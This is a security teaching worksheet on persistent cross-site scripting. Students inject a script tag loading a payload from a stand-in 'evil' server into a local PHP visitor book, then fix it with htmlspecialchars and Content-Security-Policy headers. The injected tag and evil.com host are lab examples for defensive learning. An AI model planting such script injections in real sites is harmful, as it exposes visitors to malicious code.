This worksheet is best read following the “Examples relating to code injection” worksheet.
A successful cross-site scripting attack occurs when the attacker can arrange for a visitor to another website to load their malicious script.
More details can be found on the OWASP site (last checked August 2021).
Refer to the visitor book example from the “Examples relating to code injection” worksheet.
Suppose the attacker controls the website https://evil.com/ and it contains a payload script at https://evil.com/payload.js
(the precise details do not matter; it could exploit vulnerabilities in a web browser, for example). Which want to convince an unsuspecting user of the visitor book to access this payload.
We will run two PHP built-in servers; we ran one as in the previous worksheet
php -S localhost:8000
and a second one (in another terminal window) in the “evil” directory which has our payload
cd evil/
php -S localhost:9666
We fill in the updatebook.php
web form and try to leave a link to our payload. The comment is going to be
<script src="http://localhost:9666/payload.js"></script>
Notice the script triggers when we add the comment as well as when we view the comment!
What is output when the next visitor arrives? It includes the attacker’s script as a HTML tag:
[…]
<div class="visitorrow">
<span class="visittime">2021-08-11 13:23:24</span>
<span class="visitor">Evil</span>
<span class="comment"><script src="http://localhost:9666/payload.js"></script></span>
</div>
[…]
This is a type of persistent XSS; named because it will persist in the site’s database.
As with the previous worksheet, we should assume that external data is untrustworthy. But even with a prepared statement, this particular attack will still work. The problem (in this instance) is we have written out data to the victim on the assumption it is safe as HTML.
htmlspecialchars
for all data going into a normal HTML tag. But note the warning in the manual about character sets.Modify viewbook.php
to make it safe to output the visitor’s book.
Apply Content-Security-Policy headers. This example will require that scripts can only be loaded from the same site the page was delivered from. The attempt to load a script from evil.com
will fail… if the web browser checks for this header.
Content-Security-Policy: default-src 'self'
Suppose we need to load scripts from elsewhere? (We may be using third party libraries or payment providers.) Content-Security-Policy can explicitly say those scripts are permitted:
Content-Security-Policy: default-src 'self'; script-src 'self' http://trusted.com
To demonstrate this, take the original viewbook.php
file and add the following tag inside the head element:
<meta http-equiv="Content-Security-Policy" content="default-src localhost:8000" />
Then reload the page with the web browser’s debugging console visible. This should show the offending script being blocked because it is not from localhost:8000
.
It is harder to demonstate CSRF attacks with the same machines as they exploit session data typically held in cookies. Cookies are not restricted by port number (as we can do for content-security-policy above).
Some good descriptions can be found at
If you have questions, comments, etc., then email Phil at p.brooke@northumbria.ac.uk — I check this account most work days.
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.